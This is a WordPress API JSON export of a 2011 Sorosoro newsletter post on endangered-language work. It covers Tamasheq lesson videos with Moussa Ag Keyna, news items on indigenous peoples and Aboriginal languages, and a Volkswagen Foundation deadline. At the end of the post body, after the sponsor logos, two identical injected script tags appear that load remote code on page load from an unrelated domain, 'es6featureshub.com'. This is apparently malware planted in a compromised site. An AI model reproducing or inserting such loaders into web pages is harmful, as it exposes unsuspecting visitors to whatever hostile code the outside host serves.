{"id":54510,"date":"2011-08-19T22:57:47","date_gmt":"2011-08-19T20:57:47","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=54510"},"modified":"2025-10-21T22:27:32","modified_gmt":"2025-10-21T20:27:32","slug":"sorosoro-august-18-2011","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2011\/08\/sorosoro-august-18-2011\/","title":{"rendered":"Sorosoro &#8211; August 18, 2011 <br\/><br\/> Sorosoro is back after a summer break\u00a0! With more videos in Tamasheq,  fresh news, the agenda, and a new word of the fortnight\u00a0!<br\/><br\/><br\/>"},"content":{"rendered":"<h5>New videos<\/h5>\n<p style=\"text-align: justify; \">Our series of <strong>Tamasheq<\/strong> \u00ab\u00a0lessons\u00a0\u00bb ends at the same time as our summer break\u00a0! Poet and professor <strong>Mohamad Hamza<\/strong> has previously introduced us to <a href=\"https:\/\/www.sorosoro.org\/en\/numbers-in-tamasheq\">numbers<\/a> and <a href=\"https:\/\/www.sorosoro.org\/en\/colors-in-tamasheq\">colors<\/a>. As for <strong>Moussa Ag Keyna<\/strong>, singer\/guitarist of the band Toumast, he has taken on the task of teaching us the <a href=\"https:\/\/www.sorosoro.org\/en\/days-of-the-week-in-tamasheq\">days of the week<\/a> and, this week, the names of\u00a0<a href=\"https:\/\/www.sorosoro.org\/en\/body-parts-in-tamasheq\">body parts<\/a>.<\/p>\n<p style=\"text-align: justify; \">You may also want to listen, again and again, to the 3 songs Moussa played for us in acoustic version\u00a0: <em><a href=\"..\/en\/innulamane-the-hawk-by-moussa-ag-keyna-from-the-band-toumast\">Innulamane (The hawk)<\/a><\/em>, <em><a href=\"..\/en\/tallyatt-idaght-this-girl-by-moussa-ag-keyna-from-the-band-toumast\">Tallyatt idaght (This girl)<\/a><\/em>, and <em><a href=\"..\/en\/kik-ayittma-hey-brothers-by-moussa-ag-keyna-from-the-band-toumast\">Kik ayittma (Hey brothers\u00a0!)<\/a><\/em>\u2026<\/p>\n<p style=\"text-align: justify; \">\n<h5>News<\/h5>\n<p style=\"text-align: justify; \">August 9, 2011: message by UN Secretary-General on <strong>International Day of the World\u2019s Indigenous Peoples<\/strong>.<\/p>\n<p style=\"text-align: justify; \"><a href=\"https:\/\/www.sorosoro.org\/en\/august-9-2011-message-by-un-secretary-general-on-international-day-of-the-world\u2019s-indigenous-peoples\">Read article<\/a><\/p>\n<p style=\"text-align: justify; \">August 11, 2011: <em>AustraliaNews.com<\/em> article on new source for <strong>documenting Aboriginal languages<\/strong>: the letters and diaries of British naval officers, surveyors and missionaries\u2026<\/p>\n<p style=\"text-align: justify; \"><a href=\"https:\/\/www.sorosoro.org\/en\/august-11-2011-australianews-com-article-on-new-source-for-documenting-aboriginal-languages\">Read article<\/a><\/p>\n<p style=\"text-align: justify; \">\n<h5>Agenda<\/h5>\n<p style=\"text-align: justify; \"><strong>September 15, 2011<\/strong>: application deadline for the\u00a0<strong>Volkswagen Foundation<\/strong> call for projects, as part of its <strong>DoBeS<\/strong> program on endangered languages documentation\u2026<\/p>\n<p style=\"text-align: justify; \"><a href=\"https:\/\/www.sorosoro.org\/en\/september-15-2011-volkswagen-foundation-funding-application-deadline-germany\">Read article<\/a><\/p>\n<p style=\"text-align: justify; \">\n<h5>Not forgetting\u2026<\/h5>\n<p style=\"text-align: justify; \">A new <a href=\"https:\/\/www.sorosoro.org\/en\/green\">word of the fortnight<\/a>, awaiting your numerous translations (and, if need be, your enlightened observations on cultural perceptions of colors as well)\u00a0: \u00ab\u00a0<strong>Green<\/strong> \u00bb.<\/p>\n<p style=\"text-align: justify; \">And an updated <strong>Soroquiz<\/strong> on our <a href=\"http:\/\/www.sorosoro.org\/en\">homepage<\/a>\u2026<\/p>\n<p style=\"text-align: justify; \">\n<p style=\"text-align: justify; \"><strong>We wish all sorophiles an excellent week, and hope those from the northern hemisphere have a good end of summer\u00a0!<\/strong><\/p>\n<p style=\"text-align: justify; \">The Sorosoro Crew<\/p>\n<p style=\"text-align: center;\">Supported by<\/p>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" title=\"LogoFondationChirac\" src=\"..\/wp-content\/uploads\/LogoFondationChirac2-280x300.jpg\" alt=\"LogoFondationChirac\" width=\"75\" height=\"82\" \/><img loading=\"lazy\" decoding=\"async\" title=\"logo FondationOrange\" src=\"..\/wp-content\/uploads\/logo-FondationOrange-300x117.jpg\" alt=\"logo FondationOrange\" width=\"168\" height=\"65\" \/><\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>New videos Our series of Tamasheq \u00ab\u00a0lessons\u00a0\u00bb ends at the same time as our summer break\u00a0! Poet and professor Mohamad Hamza has previously introduced us to numbers and colors. As for Moussa Ag Keyna, singer\/guitarist of the band Toumast, he has taken on the task of teaching us the days of the week and, this [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-54510","post","type-post","status-publish","format-standard","hentry","category-sorosoro-news"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Sorosoro - August 18, 2011  Sorosoro is back after a summer break\u00a0! With more videos in Tamasheq, fresh news, the agenda, and a new word of the fortnight\u00a0! - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/en\/2011\/08\/sorosoro-august-18-2011\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Sorosoro - August 18, 2011  Sorosoro is back after a summer break\u00a0! With more videos in Tamasheq, fresh news, the agenda, and a new word of the fortnight\u00a0! - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"New videos Our series of Tamasheq \u00ab\u00a0lessons\u00a0\u00bb ends at the same time as our summer break\u00a0! Poet and professor Mohamad Hamza has previously introduced us to numbers and colors. As for Moussa Ag Keyna, singer\/guitarist of the band Toumast, he has taken on the task of teaching us the days of the week and, this [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/en\/2011\/08\/sorosoro-august-18-2011\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-08-19T20:57:47+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:27:32+00:00\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/08\/sorosoro-august-18-2011\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/08\/sorosoro-august-18-2011\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"Sorosoro &#8211; August 18, 2011 Sorosoro is back after a summer break\u00a0! With more videos in Tamasheq, fresh news, the agenda, and a new word of the fortnight\u00a0!\",\"datePublished\":\"2011-08-19T20:57:47+00:00\",\"dateModified\":\"2025-10-21T20:27:32+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/08\/sorosoro-august-18-2011\/\"},\"wordCount\":242,\"articleSection\":[\"Sorosoro news\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/08\/sorosoro-august-18-2011\/\",\"url\":\"https:\/\/www.sorosoro.org\/en\/2011\/08\/sorosoro-august-18-2011\/\",\"name\":\"Sorosoro - August 18, 2011 Sorosoro is back after a summer break\u00a0! With more videos in Tamasheq, fresh news, the agenda, and a new word of the fortnight\u00a0! - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\"},\"datePublished\":\"2011-08-19T20:57:47+00:00\",\"dateModified\":\"2025-10-21T20:27:32+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/08\/sorosoro-august-18-2011\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/en\/2011\/08\/sorosoro-august-18-2011\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/08\/sorosoro-august-18-2011\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/en\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Sorosoro &#8211; August 18, 2011 Sorosoro is back after a summer break\u00a0! With more videos in Tamasheq, fresh news, the agenda, and a new word of the fortnight\u00a0!\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/en\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/en\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Sorosoro - August 18, 2011  Sorosoro is back after a summer break\u00a0! With more videos in Tamasheq, fresh news, the agenda, and a new word of the fortnight\u00a0! - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/en\/2011\/08\/sorosoro-august-18-2011\/","og_locale":"en_US","og_type":"article","og_title":"Sorosoro - August 18, 2011  Sorosoro is back after a summer break\u00a0! With more videos in Tamasheq, fresh news, the agenda, and a new word of the fortnight\u00a0! - Sorosoro","og_description":"New videos Our series of Tamasheq \u00ab\u00a0lessons\u00a0\u00bb ends at the same time as our summer break\u00a0! Poet and professor Mohamad Hamza has previously introduced us to numbers and colors. As for Moussa Ag Keyna, singer\/guitarist of the band Toumast, he has taken on the task of teaching us the days of the week and, this [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/en\/2011\/08\/sorosoro-august-18-2011\/","og_site_name":"Sorosoro","article_published_time":"2011-08-19T20:57:47+00:00","article_modified_time":"2025-10-21T20:27:32+00:00","author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Michel.Lemee","Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/en\/2011\/08\/sorosoro-august-18-2011\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/08\/sorosoro-august-18-2011\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"Sorosoro &#8211; August 18, 2011 Sorosoro is back after a summer break\u00a0! With more videos in Tamasheq, fresh news, the agenda, and a new word of the fortnight\u00a0!","datePublished":"2011-08-19T20:57:47+00:00","dateModified":"2025-10-21T20:27:32+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/08\/sorosoro-august-18-2011\/"},"wordCount":242,"articleSection":["Sorosoro news"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/en\/2011\/08\/sorosoro-august-18-2011\/","url":"https:\/\/www.sorosoro.org\/en\/2011\/08\/sorosoro-august-18-2011\/","name":"Sorosoro - August 18, 2011 Sorosoro is back after a summer break\u00a0! With more videos in Tamasheq, fresh news, the agenda, and a new word of the fortnight\u00a0! - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/#website"},"datePublished":"2011-08-19T20:57:47+00:00","dateModified":"2025-10-21T20:27:32+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/08\/sorosoro-august-18-2011\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/en\/2011\/08\/sorosoro-august-18-2011\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/en\/2011\/08\/sorosoro-august-18-2011\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/en\/"},{"@type":"ListItem","position":2,"name":"Sorosoro &#8211; August 18, 2011 Sorosoro is back after a summer break\u00a0! With more videos in Tamasheq, fresh news, the agenda, and a new word of the fortnight\u00a0!"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/en\/#website","url":"https:\/\/www.sorosoro.org\/en\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/en\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/54510","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/comments?post=54510"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/54510\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/media?parent=54510"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/categories?post=54510"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/tags?post=54510"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}